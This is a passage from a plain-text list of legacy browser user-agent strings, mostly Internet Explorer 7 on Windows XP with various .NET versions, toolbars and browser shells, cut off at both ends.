2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 4.0.20506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; AskTB5.6; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 4.0.20506; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 4.0.20506; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; SlimBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; Zune 4.7; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/8.0.552.237\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.4506.2152; .NET CLR 2.0.50727; Lunascape 5.0.4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Browzar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Avant Browser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Avant Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSN OptimizedIE8;ZHTW)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Deepnet Explorer 1.5.2; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FBSMTWB; QQDownload 618; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; TheWorld)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 1.1.4322; Zango 10.3.37.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FunWebProducts; InfoPath.1; .NET CLR 2.0.50727; MSN OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB0.0; InfoPath.1; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.3; InfoPath.2; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.4; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.4; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yie8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.5; (R1 1.6); .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Alexa Toolbar; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Lunascape 5.1.4.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 5.0.4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; Avant Browser; MS-RTC LM 8; InfoPath.1; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.1; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; yie8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.1) Paros/3.2.13\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; KKMAN3.2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Lunascape 4.9.9.97)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.10b; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.1; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Lunascape 5.0.3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Crazy Browser 3.0.5) ; .NET CLR 3.0.04506.30; InfoPath.2; InfoPath.3; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; QQDownload 1.7; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; QQDownload 1.7; GTB6.6; TencentTraveler 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; QQDownload 689; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe/22.0.1229.94; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.3\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; Maxthon; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Wanadoo 6.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Wanadoo 6.7; GTB7.3; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Wysigot 5.5; .NET CLR 2.0.50727; .NET CLR 3.0.04307.00; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YComp 5.0.0.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Zango 10.3.36.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.3; .NET CLR 1.1.4322; yplus 5.1.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.3; yplus 4.2.00b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; (R1 1.5); .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; yplus 5.1.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; yplus 5.5.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.424.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; Zango 10.0.314.0; yplus 5.1.02b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 2.0.50727; yplus 5.1.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1; yplus 5.3.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.3.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.314.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; PeoplePal 3.0; yplus 5.6.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; yplus 5.3.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 2.0.50727; yplus 5.3.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 